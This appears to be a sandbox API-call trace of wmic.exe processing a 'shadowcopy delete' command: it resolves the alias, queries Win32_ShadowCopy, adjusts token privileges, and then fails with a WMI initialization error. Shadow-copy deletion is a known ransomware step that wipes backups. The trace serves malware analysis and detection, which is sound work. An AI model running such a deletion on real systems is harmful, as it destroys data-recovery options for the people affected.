[0130.017] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0xc29553f148 [0130.017] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0130.017] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7ffcb7716740 [0130.017] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0130.017] malloc (_Size=0x18) returned 0x21c774ddc70 [0130.017] malloc (_Size=0x18) returned 0x21c774dddd0 [0130.017] malloc (_Size=0x18) returned 0x21c774ddb30 [0130.017] malloc (_Size=0x18) returned 0x21c774ddcb0 [0130.017] malloc (_Size=0x18) returned 0x21c774dd910 [0130.017] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0130.017] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0130.017] malloc (_Size=0x18) returned 0x21c774ddab0 [0130.017] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0130.017] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0130.017] malloc (_Size=0x18) returned 0x21c774dd8b0 [0130.017] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0130.017] SysStringLen (param_1="\"") returned 0x1 [0130.018] free (_Block=0x21c774ddab0) [0130.018] free (_Block=0x21c774dd910) [0130.018] free (_Block=0x21c774ddcb0) [0130.018] free (_Block=0x21c774ddb30) [0130.018] free (_Block=0x21c774dddd0) [0130.018] free (_Block=0x21c774ddc70) [0130.018] IWbemServices:GetObject (in: This=0x21c77243340, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0xc29553f198*=0x0, ppCallResult=0x0 | out: ppObject=0xc29553f198*=0x21c77258b20, ppCallResult=0x0) returned 0x0 [0130.074] malloc (_Size=0x18) returned 0x21c774dda90 [0130.074] IWbemClassObject:Get (in: This=0x21c77258b20, wszName="Text", lFlags=0, pVal=0xc29553f1e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xc29553f1e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21c7723b440*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x21c77237890, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0130.074] free (_Block=0x21c774dda90) [0130.074] SafeArrayGetLBound (in: psa=0x21c7723b440, nDim=0x1, plLbound=0xc29553f1ac | out: plLbound=0xc29553f1ac) returned 0x0 [0130.074] SafeArrayGetUBound (in: psa=0x21c7723b440, nDim=0x1, plUbound=0xc29553f1b0 | out: plUbound=0xc29553f1b0) returned 0x0 [0130.074] SafeArrayGetElement (in: psa=0x21c7723b440, rgIndices=0xc29553f1a8, pv=0xc29553f1c0 | out: pv=0xc29553f1c0) returned 0x0 [0130.074] malloc (_Size=0x18) returned 0x21c774ddf90 [0130.075] malloc (_Size=0x18) returned 0x21c774ddb50 [0130.075] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0130.075] free (_Block=0x21c774ddf90) [0130.075] IUnknown:Release (This=0x21c77258b20) returned 0x0 [0130.075] free (_Block=0x21c774dd8b0) [0130.075] ??1CHString@@QEAA@XZ () returned 0x1 [0130.075] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0130.075] free (_Block=0x21c774ddd30) [0130.075] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0130.075] lstrlenW (lpString="Shadow copy management.") returned 23 [0130.075] malloc (_Size=0x30) returned 0x21c774da510 [0130.075] lstrlenW (lpString="Shadow copy management.") returned 23 [0130.075] free (_Block=0x21c774ddb50) [0130.075] IUnknown:Release (This=0x21c77258290) returned 0x0 [0130.075] free (_Block=0x21c774dd9b0) [0130.075] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0130.075] lstrlenW (lpString="PATH") returned 4 [0130.075] lstrlenW (lpString="delete") returned 6 [0130.075] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0130.075] lstrlenW (lpString="WHERE") returned 5 [0130.075] lstrlenW (lpString="delete") returned 6 [0130.075] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0130.075] lstrlenW (lpString="(") returned 1 [0130.075] lstrlenW (lpString="delete") returned 6 [0130.075] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0130.075] lstrlenW (lpString="/") returned 1 [0130.075] lstrlenW (lpString="delete") returned 6 [0130.075] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0130.075] lstrlenW (lpString="-") returned 1 [0130.075] lstrlenW (lpString="delete") returned 6 [0130.075] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0130.075] malloc (_Size=0x18) returned 0x21c774ddcf0 [0130.076] lstrlenW (lpString="GET") returned 3 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0130.076] lstrlenW (lpString="LIST") returned 4 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0130.076] lstrlenW (lpString="SET") returned 3 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0130.076] lstrlenW (lpString="CREATE") returned 6 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0130.076] lstrlenW (lpString="CALL") returned 4 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0130.076] lstrlenW (lpString="ASSOC") returned 5 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0130.076] lstrlenW (lpString="DELETE") returned 6 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0130.076] free (_Block=0x21c774ddcf0) [0130.076] lstrlenW (lpString="/") returned 1 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0130.076] lstrlenW (lpString="-") returned 1 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] malloc (_Size=0xe) returned 0x21c774ddf90 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] lstrlenW (lpString="GET") returned 3 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0130.076] lstrlenW (lpString="LIST") returned 4 [0130.076] lstrlenW (lpString="delete") returned 6 [0130.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0130.076] lstrlenW (lpString="SET") returned 3 [0130.077] lstrlenW (lpString="delete") returned 6 [0130.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0130.077] lstrlenW (lpString="CREATE") returned 6 [0130.077] lstrlenW (lpString="delete") returned 6 [0130.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0130.077] lstrlenW (lpString="CALL") returned 4 [0130.077] lstrlenW (lpString="delete") returned 6 [0130.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0130.077] lstrlenW (lpString="ASSOC") returned 5 [0130.077] lstrlenW (lpString="delete") returned 6 [0130.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0130.077] lstrlenW (lpString="DELETE") returned 6 [0130.077] lstrlenW (lpString="delete") returned 6 [0130.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0130.077] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0130.077] malloc (_Size=0x3e) returned 0x21c774debe0 [0130.077] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0130.077] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select" [0130.077] malloc (_Size=0x18) returned 0x21c774dddb0 [0130.077] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x65006c00650053 | out: _String=0x0, _Context=0x65006c00650053) returned="*" [0130.077] lstrlenW (lpString="FROM") returned 4 [0130.077] lstrlenW (lpString="*") returned 1 [0130.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0130.077] malloc (_Size=0x18) returned 0x21c774dd930 [0130.077] free (_Block=0x21c774dddb0) [0130.077] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x21c77110db0*="\x01\x01" | out: _String=0x0, _Context=0x21c77110db0*="\x01\x01") returned="from" [0130.077] lstrlenW (lpString="FROM") returned 4 [0130.077] lstrlenW (lpString="from") returned 4 [0130.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0130.077] malloc (_Size=0x18) returned 0x21c774ddd70 [0130.077] free (_Block=0x21c774dd930) [0130.077] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x21c77110db0*="\x01\x01" | out: _String=0x0, _Context=0x21c77110db0*="\x01\x01") returned="Win32_ShadowCopy" [0130.077] malloc (_Size=0x18) returned 0x21c774dda90 [0130.077] free (_Block=0x21c774ddd70) [0130.077] free (_Block=0x21c774debe0) [0130.078] free (_Block=0x21c774dda90) [0130.078] lstrlenW (lpString="SET") returned 3 [0130.078] lstrlenW (lpString="delete") returned 6 [0130.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0130.078] lstrlenW (lpString="CREATE") returned 6 [0130.078] lstrlenW (lpString="delete") returned 6 [0130.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0130.078] free (_Block=0x21c774dde10) [0130.078] malloc (_Size=0x8) returned 0x21c774debe0 [0130.078] lstrlenW (lpString="GET") returned 3 [0130.078] lstrlenW (lpString="delete") returned 6 [0130.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0130.078] lstrlenW (lpString="LIST") returned 4 [0130.078] lstrlenW (lpString="delete") returned 6 [0130.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0130.078] lstrlenW (lpString="ASSOC") returned 5 [0130.078] lstrlenW (lpString="delete") returned 6 [0130.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0130.078] WbemLocator:IUnknown:AddRef (This=0x21c771ec0f0) returned 0x3 [0130.078] free (_Block=0x21c774d1790) [0130.078] lstrlenW (lpString="") returned 0 [0130.078] lstrlenW (lpString="NQDPDE") returned 6 [0130.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0130.078] lstrlenW (lpString="NQDPDE") returned 6 [0130.078] malloc (_Size=0xe) returned 0x21c774ddcd0 [0130.078] lstrlenW (lpString="NQDPDE") returned 6 [0130.078] GetCurrentThreadId () returned 0xfc8 [0130.078] GetCurrentProcess () returned 0xffffffffffffffff [0130.078] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0xc29553f520 | out: TokenHandle=0xc29553f520*=0x2a8) returned 1 [0130.078] GetTokenInformation (in: TokenHandle=0x2a8, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xc29553f518 | out: TokenInformation=0x0, ReturnLength=0xc29553f518) returned 0 [0130.078] malloc (_Size=0x118) returned 0x21c774dec00 [0130.078] GetTokenInformation (in: TokenHandle=0x2a8, TokenInformationClass=0x3, TokenInformation=0x21c774dec00, TokenInformationLength=0x118, ReturnLength=0xc29553f518 | out: TokenInformation=0x21c774dec00, ReturnLength=0xc29553f518) returned 1 [0130.078] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21c774dec00*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-960558168, Attributes=0x964a), (Luid.LowPart=0x21c, Luid.HighPart=2001541008, Attributes=0x21c), (Luid.LowPart=0x22, Luid.HighPart=687865897, Attributes=0x965d), (Luid.LowPart=0x21c, Luid.HighPart=2001535312, Attributes=0x21c), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0130.078] free (_Block=0x21c774dec00) [0130.078] CloseHandle (hObject=0x2a8) returned 1 [0130.078] lstrlenW (lpString="GET") returned 3 [0130.078] lstrlenW (lpString="delete") returned 6 [0130.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0130.078] lstrlenW (lpString="LIST") returned 4 [0130.079] lstrlenW (lpString="delete") returned 6 [0130.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0130.079] lstrlenW (lpString="SET") returned 3 [0130.079] lstrlenW (lpString="delete") returned 6 [0130.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0130.079] lstrlenW (lpString="CALL") returned 4 [0130.079] lstrlenW (lpString="delete") returned 6 [0130.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0130.079] lstrlenW (lpString="ASSOC") returned 5 [0130.079] lstrlenW (lpString="delete") returned 6 [0130.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0130.079] lstrlenW (lpString="CREATE") returned 6 [0130.079] lstrlenW (lpString="delete") returned 6 [0130.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0130.079] lstrlenW (lpString="DELETE") returned 6 [0130.079] lstrlenW (lpString="delete") returned 6 [0130.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0130.079] malloc (_Size=0x18) returned 0x21c774ddc70 [0130.079] lstrlenA (lpString="") returned 0 [0130.079] malloc (_Size=0x2) returned 0x21c774d1790 [0130.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff6389ac40c, cbMultiByte=-1, lpWideCharStr=0x21c774d1790, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0130.079] free (_Block=0x21c774d1790) [0130.079] malloc (_Size=0x18) returned 0x21c774dd9f0 [0130.079] lstrlenA (lpString="") returned 0 [0130.079] malloc (_Size=0x2) returned 0x21c774d1790 [0130.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff6389ac40c, cbMultiByte=-1, lpWideCharStr=0x21c774d1790, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0130.079] free (_Block=0x21c774d1790) [0130.079] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0130.079] malloc (_Size=0x3e) returned 0x21c774dec00 [0130.079] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0130.079] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff40 | out: _String="Select", _Context=0xffffffffffffff40) returned="Select" [0130.079] malloc (_Size=0x18) returned 0x21c774dda90 [0130.079] free (_Block=0x21c774dd9f0) [0130.079] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x21c77110db0*="\x01\x01" | out: _String=0x0, _Context=0x21c77110db0*="\x01\x01") returned="*" [0130.079] lstrlenW (lpString="FROM") returned 4 [0130.080] lstrlenW (lpString="*") returned 1 [0130.080] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0130.080] malloc (_Size=0x18) returned 0x21c774ddff0 [0130.080] free (_Block=0x21c774dda90) [0130.080] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x21c77110db0*="\x01\x01" | out: _String=0x0, _Context=0x21c77110db0*="\x01\x01") returned="from" [0130.080] lstrlenW (lpString="FROM") returned 4 [0130.080] lstrlenW (lpString="from") returned 4 [0130.080] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0130.080] malloc (_Size=0x18) returned 0x21c774dd9d0 [0130.080] free (_Block=0x21c774ddff0) [0130.080] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x21c77110db0*="\x01\x01" | out: _String=0x0, _Context=0x21c77110db0*="\x01\x01") returned="Win32_ShadowCopy" [0130.080] malloc (_Size=0x18) returned 0x21c774ddcb0 [0130.080] free (_Block=0x21c774dd9d0) [0130.080] free (_Block=0x21c774dec00) [0130.080] malloc (_Size=0x18) returned 0x21c774ddb30 [0130.080] malloc (_Size=0x18) returned 0x21c774ddb70 [0130.080] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0130.080] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0130.080] free (_Block=0x21c774ddc70) [0130.080] free (_Block=0x21c774ddb30) [0130.167] ??0CHString@@QEAA@XZ () returned 0xc29553f490 [0130.167] GetCurrentThreadId () returned 0xfc8 [0130.167] malloc (_Size=0x18) returned 0x21c774ddfb0 [0130.167] malloc (_Size=0x18) returned 0x21c774dd8d0 [0130.167] malloc (_Size=0x18) returned 0x21c774ddb30 [0130.167] malloc (_Size=0x18) returned 0x21c774ddb90 [0130.167] malloc (_Size=0x18) returned 0x21c774dddb0 [0130.167] SysStringLen (param_1="\\\\") returned 0x2 [0130.167] SysStringLen (param_1="NQDPDE") returned 0x6 [0130.167] malloc (_Size=0x18) returned 0x21c774dda90 [0130.167] SysStringLen (param_1="\\\\NQDPDE") returned 0x8 [0130.167] SysStringLen (param_1="\\") returned 0x1 [0130.167] malloc (_Size=0x18) returned 0x21c774ddab0 [0130.167] SysStringLen (param_1="\\\\NQDPDE\\") returned 0x9 [0130.167] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0130.168] free (_Block=0x21c774dda90) [0130.168] free (_Block=0x21c774dddb0) [0130.168] free (_Block=0x21c774ddb90) [0130.168] free (_Block=0x21c774ddb30) [0130.168] free (_Block=0x21c774dd8d0) [0130.168] free (_Block=0x21c774ddfb0) [0130.168] malloc (_Size=0x18) returned 0x21c774dddb0 [0130.168] malloc (_Size=0x18) returned 0x21c774ddc70 [0130.168] malloc (_Size=0x18) returned 0x21c774ddd70 [0130.168] WbemLocator:IWbemLocator:ConnectServer (in: This=0x21c771ec0f0, strNetworkResource="\\\\NQDPDE\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff6389c78d0 | out: ppNamespace=0x7ff6389c78d0*=0x21c77243d60) returned 0x0 [0130.179] free (_Block=0x21c774ddd70) [0130.179] free (_Block=0x21c774ddc70) [0130.179] free (_Block=0x21c774dddb0) [0130.180] CoSetProxyBlanket (pProxy=0x21c77243d60, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0130.180] free (_Block=0x21c774ddab0) [0130.180] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0130.180] ??0CHString@@QEAA@XZ () returned 0xc29553f3d0 [0130.180] GetCurrentThreadId () returned 0xfc8 [0130.180] malloc (_Size=0x18) returned 0x21c774ddfb0 [0130.180] lstrlenA (lpString="") returned 0 [0130.180] malloc (_Size=0x2) returned 0x21c774d1790 [0130.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff6389ac40c, cbMultiByte=-1, lpWideCharStr=0x21c774d1790, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0130.180] free (_Block=0x21c774d1790) [0130.180] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0130.180] SysStringLen (param_1="") returned 0x0 [0130.180] free (_Block=0x21c774ddfb0) [0130.180] malloc (_Size=0x18) returned 0x21c774ddb30 [0130.180] IWbemServices:ExecQuery (in: This=0x21c77243d60, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0xc29553f3e0 | out: ppEnum=0xc29553f3e0*=0x0) returned 0x80041014 [0130.545] free (_Block=0x21c774ddb30) [0130.545] _CxxThrowException () [0130.546] malloc (_Size=0x20) returned 0x21c774dec00 [0130.546] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0130.546] free (_Block=0x21c774ddcb0) [0130.546] free (_Block=0x21c774ddb70) [0130.546] GetCurrentThreadId () returned 0xfc8 [0130.546] ??0CHString@@QEAA@PEBG@Z () returned 0xc29553f5c8 [0130.546] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xc29553f5c8 [0130.547] ??0CHString@@QEAA@XZ () returned 0xc29553f370 [0130.547] malloc (_Size=0x18) returned 0x21c774ddb70 [0130.547] malloc (_Size=0x18) returned 0x21c774dda90 [0130.547] SysStringLen (param_1="") returned 0x0 [0130.547] free (_Block=0x21c774ddb70) [0130.547] CoCreateInstance (in: rclsid=0x7ff6389b05a8*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6389b05b8*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x7ff6389c78f8 | out: ppv=0x7ff6389c78f8*=0x21c7722e1b0) returned 0x0 [0130.550] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x21c7722e1b0, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0xc29553f368 | out: MessageText=0xc29553f368*="Initialization failure\r\n") returned 0x0 [0130.642] free (_Block=0x21c774dda90) [0130.643] malloc (_Size=0x18) returned 0x21c774dd990 [0130.643] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x21c7722e1b0, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0xc29553f360 | out: MessageText=0xc29553f360*="WMI") returned 0x0 [0130.700] malloc (_Size=0x18) returned 0x21c774dd910 [0130.700] lstrlenW (lpString="WMI") returned 3 [0130.700] lstrlenW (lpString="Wbem") returned 4 [0130.700] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0130.700] lstrlenW (lpString="WMI") returned 3 [0130.700] lstrlenW (lpString="WMI") returned 3 [0130.700] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0130.700] WbemStatusCodeText:IUnknown:Release (This=0x21c7722e1b0) returned 0x0 [0130.700] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0130.700] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0xc29553ebd0, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0130.700] FormatMessageW (in: dwFlags=0x2500, lpSource=0xc29553ebd0, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0xc29553eba0, nSize=0x0, Arguments=0xc29553eba8 | out: lpBuffer="\xc9a0\x7724\x21c") returned 0x2e [0130.700] malloc (_Size=0x18) returned 0x21c774dddf0 [0130.700] LocalFree (hMem=0x21c7724c9a0) returned 0x0 [0130.700] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0130.700] malloc (_Size=0x2f) returned 0x21c774da990 [0130.700] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x21c774da990, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0130.700] __iob_func () returned 0x7ffcc0c3ea00 [0130.700] fprintf (in: _File=0x7ffcc0c3ea60, _Format="%s" | out: _File=0x7ffcc0c3ea60) returned 46 [0130.701] __iob_func () returned 0x7ffcc0c3ea00 [0130.701] fflush (in: _File=0x7ffcc0c3ea60 | out: _File=0x7ffcc0c3ea60) returned 0 [0130.701] free (_Block=0x21c774da990) [0130.702] free (_Block=0x21c774dddf0) [0130.702] free (_Block=0x21c774dd910) [0130.702] free (_Block=0x21c774dd990) [0130.702] ??1CHString@@QEAA@XZ () returned 0x1 [0130.702] ??0CHString@@QEAA@PEBG@Z () returned 0xc29553f5b0 [0130.702] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xc29553f5b0 [0130.702] GetCurrentThreadId () returned 0xfc8 [0130.702] ??1CHString@@QEAA@XZ () returned 0x1 [0130.702] WbemLocator:IUnknown:Release (This=0x21c77243d60) returned 0x0 [0130.702] ?Empty@CHString@@QEAAXXZ () returned 0x7ffcb771674c [0130.702] free (_Block=0x21c774dec00) [0130.702] _kbhit () returned 0x0 [0130.703] free (_Block=0x21c774debe0) 